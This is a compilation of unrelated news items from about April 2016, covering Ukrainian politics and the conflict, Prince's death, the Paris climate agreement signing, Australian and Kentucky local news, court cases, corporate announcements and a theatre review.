Deutsche Post AG operates as a mail and logistics company in Germany, rest of Europe, the Americas, the Asia Pacific, the Middle East, and Africa. The company operates through five segments: Express; Global Forwarding, Freight; Supply Chain; eCommerce Solutions; and Post & Parcel Germany. The Express segment offers time-definite courier and express services to business and private customers. The Global Forwarding, Freight segment provides air, ocean, and overland freight forwarding services; and offers multimodal and sector-specific solutions. This segment's business model is based on brokering transport services between customers and freight carriers. The Supply Chain segment delivers customized supply chain solutions to its customers based on modular components, including warehousing and transport services; and value-added services, such as e-fulfilment and returns management, lead logistics partner, real estate solutions, service logistics, and packaging solutions for various industrial sectors. The eCommerce Solutions segment provides parcel delivery and cross-border non-time definite international services. The Post & Parcel Germany segment transports and delivers mail communication, parcels, physical and hybrid letters, and special products for the delivery of goods; and offers additional services, such as registered mail, cash on delivery, and insured items. This segment also provides digital products, including stamps with data matrix codes and various postal services. Deutsche Post AG was founded in 1490 and is headquartered in Bonn, Germany.
The average price of domestic airfares fell by 5.77 per cent in the first quarter of the calendar year, after having risen by 8 to 9 per cent last year when demand was stronger.

"We are now seeing cheap fares available right up to five and three days prior to departure," said Virginia Fitzpatrick, the general manager of Flight Centre Travel Group's consulting arm, 4th Dimension.

Her comments came as 4th Dimension and CAPA released their latest Australian aviation and airfare analysis report. It found that the decision by Qantas and Virgin Australia to limit capacity additions last year had paid off in the form of higher airfares.

The cost of the average one-way fare rose by 9.4 per cent to $147.10 for leisure travellers, while fares for corporate travellers rose by 8.1 per cent to $176.20, in part because they tended to book closer to the travel date.
Ukrainian army reports 30 attacks on its positions in Donbas

Militants have conducted 30 attacks on Ukrainian army positions on Thursday, mostly in the Donetsk sector, the anti-terrorist operation (ATO) press center wrote on Facebook on Friday morning.

It said Ukrainian army positions came under 30 attacks, including seven by use of weapons prohibited by the Minsk agreements.

Mortars, machineguns and grenade launchers shelled Ukrainian army positions near Zaitseve, Avdiyivka and Verkhniotoretske. BMP-1 and BMP-2 weapons were used against Ukrainian forces near Luhanske in Donetsk region.

Ukrainian troops stationed in Shyrokyne were attacked by mortars, grenade launchers and an anti-tank missile system in the Mariupol sector on Friday, the ATO staff said.

Various types of grenade launchers, large-caliber machineguns and small arms were used near Triokhizbenka in Luhansk region.

The Ukrainian army returned fire seven times on Thursday, by use of small arms and grenade launchers.
Everyone loses in the tawdry, dangerous and eminently preventable scandal over the role of 60 Minutes in a kidnapping in Beirut. The two children involved have endured torment beyond what they had experienced during their short lives of family dysfunction. Their names have been published and faces shown  something illegal in Australian family court matters. The bungled attempt to snatch them from their father would be seen as unconscionable if tried by a paid vigilante justice agency with media complicity here.

What was a private and emotionally fraught family matter has become a salacious debating topic globally.

Money has changed hands for what was an attempt to bolster ratings by playing to base instincts; by dividing audiences with an invitation to back the mother or the father; by trying to place journalists as heroes in some supposedly honourable crusade for justice. Except it went terribly and predictably wrong. All the adults involved stand condemned for an illegal violent action in grabbing the children from their grandmother. And to top it off, it seems money was required to get the crew and the mother out of danger.

A vulnerable, gullible and desperate woman who fought for 18 months to get two of her children back to Australia has probably lost any small chance she had of doing so.
TMZ says that multiple sources have said that he was rushed to hospital and doctors gave him a "save shot"  drugs administered to counteract the effects of an opiate. Prince in concert in Sydney in 2012. It also reports that he went against doctors' advice to stay in hospital for 24 hours, after he was told he could not get a private room. He was reportedly released three hours after arriving at the hospital. Less than a week later, he was pronounced dead at 10.07am local time on Thursday. Prince performs at the Super Bowl halftime show in 2007. Credit:AP

News of his death sent shockwaves through the music world, which is already reeling from the death of David Bowie in January. Prince's ex-wife Mayte Garcia told US media she was devastated. Prince's death shocked the world. "I loved him then, I love him now and will love him eternally," Ms Garcia said. "He's with our son now." Prince and Ms Garcia were married in 1996 and had a son, Gregory, who died a week after his birth.

"I can't even think of the words of what I'm feeling," she said. "This man was my everything, we had a family. I am beyond deeply saddened and devastated." Actor Russell Crowe seemed to sum up the world's collective shock with his tweet: "Say it isn't so ..." US President Barack Obama said "few artists had influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent". Mr Obama described him as "one of the most gifted and prolific musicians of our time".

Though the cause of death has not yet been confirmed, Prince had been unwell for several weeks. His publicist had maintained he was suffering flu. At a party at his Paisley Park estate in Chanhassen on the weekend Prince said of his condition: "Wait a few days before you waste any prayers." Neil Portnow, the president of the National Academy of Recording Arts and Sciences, the industry body responsible for the Grammy Awards, said Prince was "one of the most uniquely gifted artists of all time". "Never one to conform, he redefined and forever changed our musical landscape," Mr Portnow said. "Prince was an original who influenced so many, and his legacy will live on forever. We have lost a true innovator and our sincerest condolences go out to his family, friends, collaborators, and all who have been impacted by his incredible work."

MTV said in a statement his death came "so suddenly and so before his time". "Prince was a once-in-a-lifetime artist who transcended every medium and genre he touched and created music with a passion and individuality that inspired multiple generations," MTV's statement said. "Our hearts and prayers go out to his family, friends and millions of fans." Social media lit up in the wake of the news, as celebrities and music industry luminaries including Oprah Winfrey, Paul McCartney, Madonna, Mick Jagger, Chaka Khan, Justin Timberlake, Frank Ocean and Lenny Kravitz expressed their shock and grief. One of the most moving tributes came from the cast of Broadway play The Color Purple, which sang his signature song Purple Rain after its nightly performance, led by a towering Jennifer Hudson. Prince's death seemed to bookend one of his most famous lyrics: "Dearly beloved we are gathered here today to get through this thing called life."
It has been an eventful and perhaps ominous start to the unofficial election campaign in the knife-edge Victorian seat of Indi, where former Liberal MP Sophie Mirabella is trying to snatch back her old electorate from independent Cathy McGowan.

What started with reports of shoving at the opening of a nursing home has turned into a showdown on national television, replete with accusations of reverse pork-barrelling and voter blackmail.

Ms Mirabella has emphatically denied reports in a local newspaper, the Benalla Ensign, that she "very publicly pushed Ms McGowan out of the way" of a photo with federal Liberal MP Ken Wyatt at the opening of a new nursing home wing last week.
Elderly farmer Ian Robert Turnbull shot an environment compliance officer in the neck and then chased him around a car for about 40 minutes before fatally shooting him in the back, a court has heard.

As Glendon "Glen" Turner bled heavily and his colleague Robert Strange begged to be allowed to seek medical help, Mr Turnbull allegedly said: "The only way he is going is in a body bag".

Murderer Ian Turnbull is escorted out of court during the trial. Credit:James Alcock

In the NSW Supreme Court on Thursday, Mr Turnbull, 81, pleaded not guilty to murder but guilty to the manslaughter of Mr Turner on July 29, 2014 at Croppa Creek, north of Moree.

The court heard Mr Turnbull intends to argue that while he admits shooting Mr Turner, 51, multiple times and causing his death, he was suffering from a mental condition at the time which reduced his culpability from murder to manslaughter.
The European Union will support Ukraine in the reform of the public administration sector, Prime Minister Volodymyr Groysman has said.

"Assistance to Ukraine in implementing reforms is the topic of a meeting with EU Commissioner for European Neighbourhood Policy and Enlargement Negotiations Johannes Hahn. The EU will continue to support Ukraine, in particular, in the reform of the public administration sector," Groysman wrote on his Facebook page.

According to him, the EU noted "the determination of the Cabinet of Ministers to inject new energy in the continuation of reforms and the implementation of Ukraine's international obligations in the framework of agreements with the IMF and the EU."
At the invitation of Mr. Angel Gurria, Secretary General of the Organisation for Economic Co-operation and Development (OECD), WCO Deputy Secretary General Sergio Mujica attended the 2016 OECD Integrity Forum entitled Fighting the Hidden Tariff : Global Trade without Corruption, held in Paris on 19 and 20 April.

The Forum was officially opened by OECD Secretary General, Angel Gurria, who stated that integrity was not simply a moral question but essentially one of development and that huge amounts of money were lost through various forms of corruption related, inter alia, to procurement fraud and tax evasion.

The Deputy Secretary General Mujica - alongside, Pascal Lamy, former WTO Director-General; Cecilia Malmstrom, EU Commissioner for Trade; David Shark, Deputy Director-General of the WTO; and other high level panelists - highlighted how Customs can set an example to promote clean trade and also set out the steps envisaged for the future.

He shared the WCO approach to integrity enhancement in Customs and drew attention to the WCOs integrity tools, in particular the Revised Arusha Declaration, also emphasizing the importance of capacity building to achieve greater integrity.

Referring to the integrity measures advocated by the WCO, Mr. Mujica highlighted that placing the focus on human resource management and people was essential to achieve genuine and lasting results. He also emphasized that, for anti-corruption policies to be successful, it was necessary to adopt a whole-of-government approach. He shared examples of WCO Members which had successfully implemented anti-corruption measures, including through the use of performance measurement and partnership with the private sector.

Later in the Forum, the WCO Integrity Sub-Committee (ISC) Chair, Mrs. Sigfridur Gunnlaugsdottir participated in a panel entitled Clearing Customs of Corruption and shared some of the recent outcomes of the 15th Session of the ISC. She spoke as the voice of Customs to demonstrate that the Customs community and the WCO were active in concretely promoting integrity in Customs.

The WCO also had the opportunity to present the brochure entitled The Why and How of Performance Measurement Contracts in the context of its approach to combating corruption.
Ukrainian servicewoman Nadia Savchenko who has been sentenced in Russia to 22 years in a penitentiary may be exchanged for Russian citizens detained in Ukraine on the "package principle", a source with knowledge of the situation told Interfax-Ukraine.

"Highly intense and fruitful negotiations are being conducted by means of every channel, and it is possible that the sides will agree on the reciprocal extradition of persons on the "package principle" - group for group," the source said.

As to Russian citizens Viktor Bout and Konstantin Yaroshenko serving time in U.S. prisons, the source said, "They also stand a chance of being exchanged on the reciprocity principle."
The issue of the release of Ukrainian pilot and parliamentarian Nadiya Savchenko has been resolved politically, Nikolai Polozov, a lawyer for the Ukrainian, said.

"Bearing in mind the statements made by officials, President Putin, Federation Council Speaker Matviyenko, the issue has been politically resolved [...] I hope the Kremlin has made a general decision, it's another issue how long it will last," Polozov said on Channel 5 television.

The lawyer said that "the main issue now is within what kind of period of time Nadia Viktorovna will be released, whether Russian bureaucracy will create any obstacles, or if everything will happen fairly quickly and will not last for months, years, as normally happens in such extradition procedures according to the Convention."

He assumed that Russia would like to trade Savchenko's release for the weakening of the sanctions against Russia, "and the so-called exchange for Russian military men Alexandrov and Yerofeyev is just a cover for agreements between Putin and the West, not Ukraine."
"The recent document leak known as the Panama Papers suggests that numerous world leaders and their cronies as well as other powerful individuals avoid paying taxes by setting up shell companies in Panama, a country known for its banking secrecy.

"But its important to remember that just because people opened a bank account or created a company in Panama does not mean they did anything illegal. Yet thats not stopping tax activists from using the leak to bolster their claims that the wealthy do not pay their fair share of taxes.

"The bigger question surrounding the leak is how political leaders got so rich in the first place. Cronyism  politicians and businesses colluding with each other to obtain special privileges  almost surely played a part.

"In the Learn Liberty video below, Georgetown University Professor Jason Brennan explains how cronyism hurts the economy. He argues that the best way to limit cronyism is to limit the power the state has to distribute favors. Looking through the list of corrupt governments outed in the Panama Papers shows that this is a tall order!"

Enjoy the video below and get more from Learn Liberty here...
Poroshenko asks Romanian parliament to help bring Ukraine's laws into compliance with EU legislation

Ukrainian President Petro Poroshenko has urged the Romanian parliament to provide expert support to bringing Ukrainian laws in compliance with the EU legislation in the framework of Ukraine's European integration.

According to the presidential press service, Poroshenko during his official visit to Romania met with President of Chamber of Deputies of Parliament of Romania Valeriu Zgonea.

"The parties discussed the role of the parliamentary groups of Ukraine and Romania in strengthening and development of bilateral relations. Poroshenko urged the Romanian parliament to provide expert support in matters of harmonizing the national legislation with the EU legislation within the framework of Ukraine's European integration," reads the report.

The two sides noted the high level of relations between Ukraine and Romania and intensive meetings at the highest level.
Ukrainian President Petro Poroshenko expects the Organization for Security and Co-operation in Europe (OSCE) to make a decision in the near future on setting up and deploying an armed police mission in Donbas.

"As a result of my negotiations, I expect in the near future the deployment of a new OSCE armed police mission to control the ceasefire agreements, the pullout of weapons, and the withdrawal of Russian troops from the occupied territory, and ensure the efficient control of the Ukrainian-Russian border, so as to prevent new regular troops and weapons from entering Ukrainian territory," Poroshenko said at a meeting with top officials from the Zaporizhia regional administration on Friday.
By Ro Morse, WestKyStar Staff Apr. 21, 2016 | 01:55 PM | PADUCAH, KY

For some who live and work in Paducah, this week in April means bottlenecked traffic and nonexistent parking, but for thousands of men and women who arrive in Quilt City, USA for the annual AQS Show & Contest, it's a special time they look forward to year after year.

Paducah more than doubles its population this week, with associated transportation and accommodation challenges, but overall there's a spirit of hospitality that this River City should be ever so proud to own.

While I was helping at the bus/shuttle site at the Convention Center today, I heard similar heartwarming stories about how much Paducah means to our visitors.

Here's a perfect example of a couple that makes Paducah an annual destination: Art and his wife are from Pennsylvania. They fly to Nashville, rent a car and drive to Paducah for QuiltWeek-here for three days of, in his words, "A time to marvel at what quilters from around the world can create. My wife always takes a class while we're here, and I wander around this interesting town. Anyone who thinks these are just fancy 'blankets' needs to come see for themselves. It's art at its finest, and we don't even have to leave the country to experience the wonder of what these international artists have created."

Art's wife used to come to Paducah and meet her quilting girlfriends, but she's in a wheelchair now and getting around is a bit more challenging. Art said, "The trip to Paducah is worth whatever we have to do to get here. I love seeing her so happy. Being a rare 'guy' in the crowd is sort of fun for me. Doesn't bother me at all."

Executive AQS show director Bonnie Browning says that in 2017 a second QuiltWeek in Paducah will be added, September 13-16. It will be interesting to see how many of our April visitors come back for a second week of quilting bliss.
Bridge deck work at two different locations in Graves County start this week
OSCE Representative on Freedom of the Media Dunja Mijatovic today said that recent legislative steps in Ukraine could limit the free flow of information.

"Ukraine's current significant progress in the area of media freedom should be preserved and enhanced, not undermined," OSCE press service quotes Mijatovic's feedback to a ban to broadcast all Russian films produced or released since the beginning of 2014.

Mijatovic said that such laws restrict media freedom.

"Even under the state of hostilities democratic countries have a responsibility to carefully address potentially problematic content, for example, through the use of appropriate judicial mechanisms, in order to avoid excessive steps and the introduction of measures akin to censorship.
By West Kentucky Star Staff Apr. 21, 2016 | 04:53 PM | GRAVES COUNTY, KY

Three students were injured when a school bus crashed in Graves County Thursday afternoon.

According to the Graves County Sheriff's Office, the wreck happened around 3:45 pm on KY 385 between Cuba and Pilot Oak. Deputies said the school bus was traveling northbound on KY 385 when the tires dropped off the right side of the roadway in a curve.

The bus traveled onto the shoulder of the road, struck a guide wire for a utility pole and a driveway culvert. The bus driver, 43-year-old Shyla Chalker of Mayfield, was able to guide the bus back onto the roadway but over corrected, causing the bus to travel across both lanes of traffic and run off the left shoulder of the road. The bus then struck an earth embankment and a fence before coming to rest in a ditch.

Two students on the bus were transported to Jackson Purchase Medical Center by Mayfield/Graves County EMS for treatment of their injuries. Deputies said one had a leg injury and the other had a shoulder injury. A third student was transported by his parents to Jackson Purchase Medical Center a few hours after the collision for a possible head injury.

Deputies said KY 385 was shut down for about an hour while the scene was cleared.
By West Kentucky Star Staff Apr. 21, 2016 | 08:36 PM | MARSHALL COUNTY, KY

A one-vehicle wreck Wednesday afternoon in Marshall County left a Paducah man injured and facing charges.

According to the Marshall County Sheriff's Office, the crash happened around 5:00 pm on I-24 near mile marker 28. Deputies said 28-year-old Carl E. Dowell was traveling east when he lost control and went off the left shoulder of the road. Dowell's vehicle then struck a guardrail and overturned.

While Dowell was in the ambulance, deputies reportedly found a metal pipe that contained burnt marijuana in a plastic bag in his hand. Deputies also recovered a baggy of marijuana, rolling papers and a rolling device. Dowell told police all the items belonged to him.

Due to his injuries, Dowell was cited for possession of marijuana, possession of drug paraphernalia, tampering with physical evidence, operating on a suspended or revoked license and license to be in possession.
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Thomas Aikenhead was hanged at the age of 20, the last person in Britain to be executed for blasphemy. Raised as a Christian, in an era of religious orthodoxy, the Scottish student insisted on man's duty to the truth all the way to his death, in 1697, under the prosecution of the Lord Advocate James Stewart.

In a very real sense, we are all Thomas Aikenhead now. His rational scepticism has become the norm  a point well made in Told By An Idiot's scrappy comic musical. Each actor takes their turn to step into his shoes, the words I Am Thomas' emblazoned on their costume to run through the stages of his life, from his education to his trial. While his establishment prosecutors wear the lace cuffs and powdered wigs of the period  a style passed down from the king himself, Charles II  Aikenhead's in modern dress to stress the progressiveness of his ideas.

I've a real soft spot for Told By An Idiot. Paul Hunter and Hayley Carmichael put silliness to serious purposes, using dumb comedy to smuggle in dangerous and difficult ideas. Who else could address international terrorism through the medium of Are You Being Served? or tease out the sexual politics of TISWAS.

Here, they use a form of lowly, popular theatre to reclaim Aikenhead as a people's hero. I Am Thomas marries the political poor theatre of Brecht and Weill with the broad comedy of British music hall  a natural fit for a rejuvenated Wilton's Music Hall. Hunter's production raids dressing up boxes and joke shops for the sake of cheap gags, revelling in the shonkiness of village halls and school nativities, while Iain Johnstone's songs  though they can stall for time  shuffle from poignant lyricism to raucous sing-a-longs. Sometimes, though, the scrappiness swallows Simon Armitage's delicate lyrics whole, and, despite the eager energy of its game cast, there's a sketchiness to its Match of the Day spoofs that means scruff wins out over nuance.

For all the brilliance of its conception, though, I Am Thomas hasn't the intellectual daring of Told By An Idiot's best. At heart, it's a straightforward celebration of independent thought, those free radicals that dare to swim against the tide of their times. It's laced with similar icons: David Bowie T-shirts and safety-pinned punks. Even Albert Einstein drops in for a dream sequence.

At the same time, it questions who we chose to honour as our national heroes: those that changed the world or those that kept it in check? Aikenhead's story is framed by a debate over a public statue  timely, in the wake of the Rhodes Must Fall' movement, pushing against the celebration of colonialists  and in putting Aikenhead on a pedestal, it attempts to right the wrongs of history. It's less successful in thinking about the present: the Aikenheads of today. That its shot through with shards of African music  John Pfumojena, stalking the stage in silence, unleashes the most extraordinary voice  looks uncomfortably close to tokenism; an uninterrogated nod to unheard voices the world over.

I Am Thomas runs at Wilton's Music Hall until 30th April.
President of Ukraine Petro Poroshenko and President of European Council Donald Tusk in a telephone talk discussed the situation in the east of Ukraine and the country's new ties with the European Union.

The president noted the positive dynamic of relations between Ukraine and the EU, citing the recent recommendation of the European Commission to introduce a visa-free regime for Ukrainians, Poroshenko's press service reported.

Tusk stressed that the legislative recommendation of the EC represents recognition of internal transformations in Ukraine. He said the move is an important gesture by the EU recognizing the European aspirations of Ukrainians.

The head of state told Tusk about the establishment of the Group of Strategic Advisors on the Support for Reforms in Ukraine chaired by Leszek Balcerowicz and Ivan Miklos.

Tusk praised the decision and called it a good choice. He said it is important to continue reforms in Ukraine, Poroshenko's press service reported.

The interlocutors discussed the unlawful detention of Nadia Savchenko and called for her immediate release.

"The head of state informed on lasting deterioration of the security situation in Donbas caused by provocations of pro-Russian militants, as well as increasing infringements of human rights in occupied Crimea. The president underlined the necessity to preserve sanctions against Russia until full implementation of the Minsk Agreements by Moscow," the press service said.
Epson has announced that its Indonesian manufacturing subsidiary P.T. Indonesia Epson Industry has begun production at a new inkjet printer assembly factory as part of the company's strategic plans for its inkjet printer (printing solutions) business.

Indonesia Epson held an opening ceremony for guests including representatives of the Indonesian government earlier today.

The factory, which was acquired from another company in July 2013, lies adjacent to the current lot and was refurbished at a cost of about 3 billion yen in FY2015 (ended March 2016). Indonesia

Epson is a key production site in Epson's printing solutions business. It primarily manufactures strategic products, such as high-capacity ink tank printers and office inkjet printers. The company will expand its production capacity in the future as warranted by demand and plans to increase its workforce to 12,000 from the current level of about 10,000.*

In addition to production and logistics functions, Indonesia Epson has a printer design function. The company's design capabilities will be strengthened in the future to tailor products to the needs of emerging markets, design products for easier manufacturability, and accelerate product development cycle times.

Under its Epson 25 Mid-Range Business Plan (FY2016-2018), Epson plans to aggressively invest in PrecisionCore inkjet printhead technology, the core technology of the printing solutions business. Epson is positioning itself to meet expanded demand over the long term by adding new production capacity to augment its existing operations at the Suwa Minami Plant and at Tohoku Epson in Japan, which have production lines. Also in Japan, Epson is installing a new front-end line at the Hirooka Office and a new back-end line (head assembly) at Akita Epson. The company is also augmenting product assembly lines in Indonesia and the Philippines.

Epson has integrated the production, distribution, sales, service and support of finished products created using original inkjet technology and core devices. Going forward, Epson will leverage this vertically integrated model to provide products and services that surprise and delight customers around the world.



Profile of new factory

FY2015 investment Approx. 3 billion yen to refurbish an existing factory on an adjacent lot that was acquired in July 2013 Primary operations Production of inkjet printers and serial impact dot matrix (SIDM) printers Line startup November 2015 Floor space Approx. 47,400 m Lot size Approx. 53,000 m Employees Increase from the current 10,000 to 12,000 by 2020*



Epson Australia

www.epson.com.au
President of Ukraine Petro Poroshenko has noted a grave lack of financing for the national military and industrial complex because the Verkhovna Rada did not pass a measure to direct illegally-gained assets of Ukrainian ex-officials (to the budget).

"In view of the fact that Verkhovna Rada hasn't yet taken a decision on transferring arrested assets stolen by the previous government, for the needs of a defense complex, we unfortunately are today faced with a serious funding shortfall," he said during a meeting with officials and business leaders in Zaporizhia region on Friday.

However, Poroshenko said that Ukraine could be proud of the progress of the producers of the national military and industrial complex.

According to him, large volumes of (arms) exports by Ukraine's military industrial complex provide capital as well as enhancing the prestige of the country's defense sector.

National Security and Defense Council Secretary Oleksandr Turchynov said earlier problems have so far not prevented the production of new types of armament and military hardware, along with the preparing of production capacities to introduce crucial military and technical projects.

Turchynov said that for a country, which for over two years has opposed Russian military aggression, delays on financing the defense orders is unacceptable, since this threatens national security and the defense of Ukraine.

"Due to the lack of responsibility and political will of Ukrainian MPs, a legal mechanism for replenishing special budget funds with frozen financial resources has not been created. We must address the newly-elected Cabinet of Ministers and demand that it immediately amend the state budget 2016, to provide for the distribution of resources and financing of the defense programs from the common state budget fund," Turchynov said.

The NSDC secretary said financial problems occurred because an essential part of the state defense order in budget 2016 is to be allocated from a special fund, created with funds "stolen from the Ukrainian people" by ex-president Viktor Yanukovych and his encirclement.

Turchynov said that these funds (over UAH 1.5 billion) have been frozen in the accounts of Ukrainian banks.
The first advertisement by a top Chinese internet celebrity was put under hammer on Thursday. [Photo provided to chinadaily.com.cn]

The first advertisement by a top Chinese internet celebrity was put under hammer on Thursday, with a top bidder offering to pay a record high 22 million yuan$3.4 millionfor for advertising in one online video clip.

The auction, dubbed the first of its kind in China's new media sector, was for sales of the post-credits advertisement in one video clip by Papi Jiang.

Papi Jiang, whose real name is Jiang Yilei, gained 11.59 million fans on Sina Weibo by producing and posting funny video clips of one-woman sketches.

The auction was held both online and offline simultaneously. The bidding started at 217,000 yuan and closed at 22 million yuan within 7 minutes. The highest bidder is a Shanghai-based cosmetic firm, Lily& Beauty.

The jaw-dropping auction is an the tip of the iceberg of China's booming web star economy-a business that allows cyber personalities to monetize their fame by using their influence on fans.

The 29-year-old Papi Jiang received a 12 million yuan investment from venture capital firms in March.

Papi Jiang didn't show up at the auction in person. But her business partner, Yang Ming, said at the event that they are going to donate all of the net income from the auction to their alma mater -the Central Academy of Drama.

Zhang Quanliang,a former hostess at China Central Television and a partner of venture capital firm Zijiu Foundation, said that timing is important for a web star.

Not all people who can produce attractive content can become a celebrity online, she said.

There are also risks in policy.

Earlier this month, the State Administration of Press, Publication, Radio, Film and Television ordered Papi Jiang to take her videos offline because of her use of "swear words and insulting language".

The modified videos were available again on Monday, and Papi Jiang also released a new one talking about weight loss - without salty language.

Screen shot of a video posted by Internet celebrity Papi Jiang's Weibo account. [Photo/Weibo.com]
The United States has welcomed China leadership in the upcoming signing of the historic and ambitious Paris climate agreement, reached in French capital last December.

John Kirby, a spokesman for the U.S. State Department, spoke highly of China's role in the process.

"China has been very cooperative in terms of getting us to the Paris agreement and I think you've heard Secretary Kerry speak about their leadership role in Paris in December in terms of helping marshal those 196 countries in getting that agreement done. I think you are also, I'm sure, aware that China also intends to sign on Friday and to join, formally join. So we welcome that news, we are grateful for the leadership that they have shown, the stewardship they are demonstrating on this issue. "

Over 165 UN member states are expected to attend the high-level signing ceremony which will get underway on Friday local time at UN headquarters in New York.

Chinese vice Premier Zhang Gaoli will attend the event as President Xi Jinping's special envoy.

The countries signing the agreement will still need to have it ratified by their own legislative procedures.
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This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

UNITED NATIONS, N.Y.  Prime Minister Justin Trudeau joined world leaders who rushed to put their signatures Friday to a global treaty on climate change in hope of bringing it into force.

Now comes the hard part.

Canada is nowhere near its target of reducing greenhouse-gas emissions by 30 per cent by 2030. Emissions are still inching up. A national plan is still being worked out.

Prime Minister Justin Trudeau speaks at the signing ceremony for the Paris Agreement on climate change at the United Nations headquarters in New York on Friday, April 22, 2016. THE CANADIAN PRESS/Sean Kilpatrick

Indeed, if youve got an idea how all this could work, please tell the federal government. Really  it wants your advice.

Trudeau used his appearance at the United Nations signing ceremony to promote the new website, www.canada.ca/climateaction, and the Twitter hashtag where the government is seeking suggestions from Canadians.

Were looking for ideas on how to reduce emissions, he told a news conference.

On the best way to move forward with carbon. And (on) how we can best prepare for and, if possible, avoid the impacts of climate change. Its important that all Canadians be part of this conversation.

He promised not to give up. In his first speech to the UN General Assembly hall, Trudeau said: Today, with my signature, I give you our word that Canadas efforts will not cease.

The agreement enters into force once it is ratified by 55 countries accounting for 55 per cent of global emissions, which is now expected to happen, given the resounding reaction Friday.

The event broke the record for most first-day signatures for an agreement of its kind. Secretary-General Ban Ki-moon said at least 175 countries signed on: It is a very moving day for me, personally.

The pact negotiated last year differs from the old Kyoto accord in several important ways:

 Every major emitter has set individual targets under this one  unlike Kyoto which excluded fast-developing countries.

 It does not include broad global emissions targets, nor is it binding.

 It does include a mechanism that will report on each countrys progress  its a peer-pressure strategy.

The broad goal of the agreement is to keep global temperatures from rising less than 2 C from pre-industrial levels, to stave off the most catastrophic effects of rising sea levels.

Trudeau received a warm reaction. He was mobbed for photos, walking between meetings. The president of Colombia joked that hes now the most popular leader in the Americas.

And he drew perhaps the most ovations of any leader who spoke to the assembly. One came when he described the particular challenge facing poorer countries: How to cut emissions, when their economies are growing fastest?

They shouldnt be punished for a problem they didnt create, nor should they be deprived the opportunities for clean growth that developed nations are now pursuing, Trudeau said.

Developing-country delegations applauded again when he mentioned the $2.65 billion his government budgeted for international-assistance programs geared towards clean-energy programs.

Trudeaus domestic opponents werent singing such praises.

The Conservatives said he hasnt been straight with people. They pointed to the parliamentary budget officers finding that hitting that target could shave one to three per cent off the national economy by 2030.

The Liberals are misleading Canadians by saying everything is a win-win, while not accounting for the true economic costs, said a statement from Tory critic Ed Fast.

Fighting climate change is serious business and Canadians need to be prepared to have a frank discussion about who pays for it.

The Conservatives said theyre not actually opposing the emissions target  which they set when they were in power. They just said the prime minister needs to be more honest about its costs.

During his New York trip, the prime minister touted an all-of-the-above approach where additional oil production can coexist with cleaner technology, and more wealth gets spent on energy innovation.

One prominent environmental economist says the country has actually made progress.

Dave Sawyer of EnviroEconomics projects the country could get halfway to its targets  with emissions declining 15 per cent by 2030, after levelling off in a few years, if provincial governments respect their already-announced plans.

Current policies are actually delivering a lot more than people think, he said. There are still gaps.
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This article was published 21/04/2016 (2376 days ago), so information in it may no longer be current.

LETHBRIDGE, Alta.  The grandfather of a toddler whose parents are on trial in his death says the child was lethargic, but not ill, the night before he was rushed to hospital.

Anthony Stephan is the father of David Stephan, who along with wife Collet, are charged with failing to provide the necessaries of life for their 18-month-old son Ezekiel.

Court has heard how his parents gave him natural remedies, including smoothies with hot peppers and horseradish over a period of two weeks because they thought he had croup and the flu, but an autopsy found the boy had bacterial meningitis and a lung infection.

The boys grandfather told court Thursday he was at his sons home in Glenwood, Alta., in March 2012 on business and blessed Ezekiel and prayed over him.

He says the next day, he got a call from his son screaming that Ezekiel wasnt breathing, and he told him to call 911 and he would meet them at the hospital.

Anthony Stephan also said a emergency medical technician told him at the Cardston hospital that medical officials couldnt get an air tube into the little boy.

He said to me, We couldnt intubate him,' Anthony Stephan told court. He was literally weeping.

Later, members of the family travelled to the Alberta Childrens Hospital in Calgary to support David and Collet.

Anthony Stephan said when he was there, he saw several meetings between RCMP, social services, and hospital staff. He described his son and daughter-in-law as being in a terrible place.

It reminded me of when my wife suicided, he said tearfully. I could feel their emptiness.

The Crown objected to his use of opinion, and the judge agreed.

They were spending a lot of time being interviewed at all hours of the night, he said. They looked worn out.

Closing arguments in the trial are expected to begin Friday morning.

(Lethbridge Herald)
Beijing and Seoul will begin their first round of maritime demarcation talks in the Chinese capital on Friday, aiming to resolve overlapping claims through negotiation.

Foreign Ministry spokeswoman Hua Chunying confirmed the schedule at a regular news briefing on Thursday.

"To fairly and properly demarcate the China-ROK maritime boundary through negotiations and consultations is of great significance to upholding tranquillity and stability of the waters and to consolidating and growing friendly bilateral cooperation," Hua said.

She said she hoped that China and the Republic of Korea will set a good example for regional countries in addressing similar issues.

China and the ROK have overlapping claims on exclusive economic zones, one of the few concerns in their thriving relations.

President Xi Jinping and his ROK counterpart Park Geun-hye agreed to start the talks in July 2014 during Xi's visit to the ROK.

Beijing believes that the ownership of Suyan Rock, a submerged feature in the East China Sea in the exclusive economic zones claimed by both China and the ROK, should be determined through negotiation. The countries agree that the rock does not have territorial status, the Foreign Ministry has said.

Zhang Liangui, an expert in Korean studies at the Party School of the Central Committee of the Communist Party of China, said the absence of maritime demarcation between the two neighbors has resulted in numerous disputes, mainly involving fishing vessels.

"Despite the disputes, the two countries share a good political atmosphere, while top leaders of both have made clear that cooperation is the key to the demarcation issue," Zhang said.

However, he added, any settlement will be a long-term process.

Shi Yongming, an Asia-Pacific studies researcher at the China Institute of International Relations, noted that the talks come at the same time as discussions by Washington and Seoul about possible deployment of the advanced THAAD missile defense system in the ROK. The proposal has drawn great concern from China and Russia.

"And that makes it the right moment for us to do something positive," he said.
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This article was published 21/04/2016 (2376 days ago), so information in it may no longer be current.

SASKATOON  An oversupply of uranium around the world, caused in part by the shutdown of nuclear facilities in Japan, has resulted in Cameco (TSX:CCO) suspending its Rabbit Lake uranium operation in northern Saskatchewan.

The company announced late Thursday that 500 jobs will be lost at the non-union mine and about 85 at its U.S. operations, including employees and long-term contractors.

A spokeswoman for Saskatchewan Premier Brad Wall said he would not be commenting on the development Thursday except for a tweet saying: Thoughts are with those affected by Cameco Rabbit Lake mine suspension. @SKGov rapid response unit being deployed to help laid off workers.

Company CEO Tim Gitzel said the mine was old and small  compared to the companys two large mines in the province, which each produce as much as 9.7 million kilograms of uranium a year, Rabbit Lake only produced about 1.8 million pounds.

In addition, he said the market has been soft for about five years since a 2011 earthquake and tsunami caused a nuclear meltdown at three reactors in Fukushima, Japan, with uranium selling for about two-thirds less than it did before the accident.

(It has) a lot to do with the Japanese situation where they had a lot of reactors running and have shut them down for security checks, and are just now restarting them, said Gitzel. Theres certainly an excess inventory of uranium available around the world so thats driven the prices way down.

Cameco said it will offer employees exit packages and will consider relocating workers to other Cameco facilities and job-sharing options. About 150 people will be kept on at Rabbit Lake to maintain the facilities and do environmental monitoring and reclamation.

